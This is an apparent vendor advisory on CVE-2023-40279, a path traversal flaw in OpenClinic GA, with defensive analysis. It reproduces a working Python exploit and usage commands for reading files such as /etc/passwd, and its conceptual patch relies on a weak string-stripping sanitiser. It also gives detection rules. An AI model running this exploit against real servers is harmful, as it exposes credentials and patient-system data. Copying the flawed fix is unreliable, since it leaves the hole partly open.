CVE-2023-40279
Executive Summary
CVE-2023-40279 is a directory path traversal vulnerability discovered in OpenClinic GA version 5.247.01. An authenticated attacker can exploit the Page parameter in a GET request to main.do to read arbitrary files outside the intended web root directory. This can lead to the disclosure of sensitive information, including configuration files, source code, or other system files. The vulnerability is publicly documented with a proof-of-concept (PoC) exploit, and no official patch has been released as of the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – An attacker must have a valid session (authenticated).
- User Interaction (UI): None (N) – No user action is needed.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are in the same security authority.
- Confidentiality (C): High (H) – Arbitrary file read can expose sensitive data.
- Integrity (I): None (N) – The vulnerability does not allow file modification.
- Availability (A): None (N) – The vulnerability does not affect system availability.
Threat Level: Medium (6.5) – Exploitation requires authentication but can lead to significant information disclosure.
Deep Dive & Mechanics
The vulnerability resides in the main.do servlet of OpenClinic GA. The application fails to properly sanitize the Page parameter, allowing an attacker to inject path traversal sequences (e.g., ../) to navigate the filesystem.
Root Cause: The application likely constructs a file path by concatenating a base directory with the user-supplied Page parameter without validating that the resulting path remains within the intended directory.
Attack Flow:
- The attacker authenticates to the OpenClinic GA web application.
- The attacker crafts a GET request to
/openclinic/main.do?Page=../../../../etc/passwd(or similar). - The server processes the request, traverses the directory structure, and returns the contents of the requested file.
- The attacker can then read sensitive files, such as configuration files containing database credentials, source code, or other system files.
Impact: Successful exploitation can lead to:
- Disclosure of application source code.
- Exposure of database credentials and other secrets.
- Information gathering for further attacks (e.g., privilege escalation, lateral movement).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
String page = request.getParameter("Page");
String filePath = "/var/www/openclinic/pages/" + page;
// No validation of filePath
File file = new File(filePath);
// ... read and return file content
Patched Code (Conceptual):
String page = request.getParameter("Page");
// Sanitize input: remove path traversal sequences
page = page.replaceAll("\\.\\./", "");
page = page.replaceAll("\\.\\.\\\\", "");
// Or use a whitelist approach
if (!page.matches("[a-zA-Z0-9_]+")) {
// Reject request
}
String basePath = "/var/www/openclinic/pages/";
String canonicalPath = new File(basePath, page).getCanonicalPath();
if (!canonicalPath.startsWith(basePath)) {
// Reject request
}
File file = new File(canonicalPath);
// ... read and return file content
Key Differences:
- The patched code validates the final canonical path to ensure it starts with the intended base directory.
- The patched code removes or rejects path traversal sequences.
- A whitelist approach can be used to restrict allowed page names.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A valid session cookie (JSESSIONID) for an authenticated user.
- Network access to the OpenClinic GA web application.
Exploit Code (from Exploit-DB):
#!/usr/bin/env python3
# Exploit Title: OpenClinic GA 5.247.01 - Path Traversal (Authenticated)
# Date: 2023-08-14
# Exploit Author: V. B.
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
# Software Link: https://sourceforge.net/projects/open-clinic/
# Version: OpenClinic GA 5.247.01
# Tested on: Windows 10, Windows 11
# CVE: CVE-2023-40279
import requests
import sys
def exploit(target_url, session_cookie, file_to_read):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36",
"Cookie": f"JSESSIONID={session_cookie}"
}
# Craft the malicious GET request
payload = f"../../../../{file_to_read}"
url = f"{target_url}/openclinic/main.do?Page={payload}"
response = requests.get(url, headers=headers, verify=False)
if response.status_code == 200:
print("[+] Success! File content:")
print(response.text)
else:
print(f"[-] Failed. HTTP Status: {response.status_code}")
if __name__ == "__main__":
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <target_url> <session_cookie> <file_to_read>")
print(f"Example: {sys.argv[0]} http://192.168.1.100:10088 abc123 ../../etc/passwd")
sys.exit(1)
target_url = sys.argv[1]
session_cookie = sys.argv[2]
file_to_read = sys.argv[3]
exploit(target_url, session_cookie, file_to_read)
Usage:
- Obtain a valid JSESSIONID by logging into the OpenClinic GA application.
- Run the exploit script:
python3 exploit.py http://192.168.1.100:10088 abc123 ../../etc/passwd - The script will retrieve and display the contents of the requested file.
Lab Setup:
- Download OpenClinic GA 5.247.01 from SourceForge.
- Deploy on a Windows or Linux server (e.g., using Apache Tomcat).
- Create a test user account.
- Use the exploit script to verify the vulnerability.
Blue Team (Detection & Response)
Detection:
- Monitor web server logs for GET requests to
main.docontaining../or..\\sequences in thePageparameter. - Look for requests with unusual file paths (e.g.,
/etc/passwd,C:\Windows\System32\config\SAM). - Use a Web Application Firewall (WAF) to block path traversal patterns.
Response:
- Immediately isolate the affected server.
- Review logs to determine the scope of the breach.
- Rotate any exposed credentials.
- Apply virtual patching (e.g., WAF rules) until an official patch is available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/openclinic/main.do?Page=../../with path traversal sequences. - Unusual file paths in the
Pageparameter (e.g.,../../etc/passwd,../../Windows/System32/drivers/etc/hosts). - Outbound connections from the server to unknown IPs (if data exfiltration occurs).
File System IOCs:
- Unexpected access to files outside the web root (e.g.,
/etc/shadow,web.xml,application.properties). - Modified or newly created files in the web root (if the vulnerability is chained with file upload).
Log IOCs:
- Web server access logs showing
main.dorequests withPageparameter containing../. - Error logs indicating failed attempts to read files outside the web root.
Detection Engineering
YARA Rule
rule CVE_2023_40279_OpenClinic_Path_Traversal {
meta:
description = "Detects path traversal attempts in OpenClinic GA main.do requests"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-40279"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$traversal1 = "../" ascii wide nocase
$traversal2 = "..\\" ascii wide nocase
$param = "Page=" ascii wide nocase
$endpoint = "main.do" ascii wide nocase
condition:
all of ($param, $endpoint) and any of ($traversal1, $traversal2)
}
Sigma Rule
title: OpenClinic GA Path Traversal Attempt (CVE-2023-40279)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in OpenClinic GA main.do requests
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-40279
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "main.do?Page=../"
- "main.do?Page=..\\"
condition: selection
falsepositives:
- Legitimate use of relative paths (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-40279 OpenClinic GA Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/openclinic/main.do"; http_uri; content:"Page="; http_uri; pcre:"/Page=[^&]*\.\.\//i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Virtual Patching: Deploy WAF rules to block requests containing
../or..\\in thePageparameter. - Input Validation: If source code access is available, implement proper input validation and canonical path checks as shown in the patched code example.
- Access Control: Restrict access to the OpenClinic GA application to trusted networks only.
Long-Term Fix:
- Monitor the vendor's website (SourceForge) for an official patch.
- Consider migrating to a different, actively maintained healthcare management system.
- Conduct a security audit of the application to identify and fix other potential vulnerabilities.
Compensating Controls:
- Implement strict file system permissions to limit the impact of successful exploitation.
- Enable detailed logging and monitoring for all web requests.
- Use a Web Application Firewall (WAF) with path traversal protection rules.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: 2CC51F1207FD06EF6C12DD04] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.